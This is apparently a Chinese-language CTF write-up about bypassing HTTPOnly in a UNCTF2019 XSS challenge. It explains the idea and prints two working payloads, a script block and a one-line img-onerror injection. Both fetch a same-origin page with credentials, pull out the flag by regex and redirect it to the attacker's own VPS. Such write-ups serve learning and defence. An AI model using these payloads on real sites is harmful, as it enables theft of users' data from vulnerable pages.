Life has its own fate, and meeting may not be accidental.

0%

XSS绕过HTTPonly

最近整理的时候,突然想起来以前有一题XSS的题,设置了HTTPonly,当时没想到怎么绕过,后来看wp有些不懂,当时JS代码还不太熟(现在也菜~)。虽然环境和源码都以及不在了。不过还是记忆犹新的。

云复现一下~

题目

正常XSS能成功,但是不能获取Cookie,所以必须绕过。查看同域名下其他页面,有没有带COOKIE的请求。

构造XHR(ajax是XMLHttpRequest对象)请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
xmlhttp=new XMLHttpRequest();
//是否能跨域
xmlhttp.withCredentials=true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4){
location.href='http://读取COOkie用的域名(自己的VPS)/?flag='+xmlhttp.responseText.match('flag\{(.*?)\}')[1]
}
};
//设置连接信息
//第一个参数表示http的请求方式,支持所有http的请求方式,主要使用get和post
//第二个参数表示请求的url地址,get方式请求的参数也在url中
//第三个参数表示采用异步还是同步方式交互,true表示异步
xmlhttp.open('GET','/index.php/treehole/view?id=',true);
//4.发送数据,开始和服务器端进行交互
//同步方式下,send这句话会在服务器段数据回来后才执行完
//异步方式下,send这句话会立即完成执行
xmlhttp.send('');
</script>

xmlhttp.readyState变化:

1
2
3
4
5
0: 请求未初始化
1: 服务器连接已建立
2: 请求已接收
3: 请求处理中
4: 请求已完成,且响应已就绪 xmlhttp.status==200

构造XSS-Payload:

1
<img src='/efefefe' onerror="xmlhttp=new XMLHttpRequest();xmlhttp.withCredentials=true;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://读取COOkie用的域名(自己的VPS)/?flag=' + xmlhttp.responseText.match('flag\{(.*?)\}')[1]}};xmlhttp.open('GET','/index.php/treehole/view?id=',true);xmlhttp.send('');"/>

参考

UNCTF2019WP
W3-XHR请求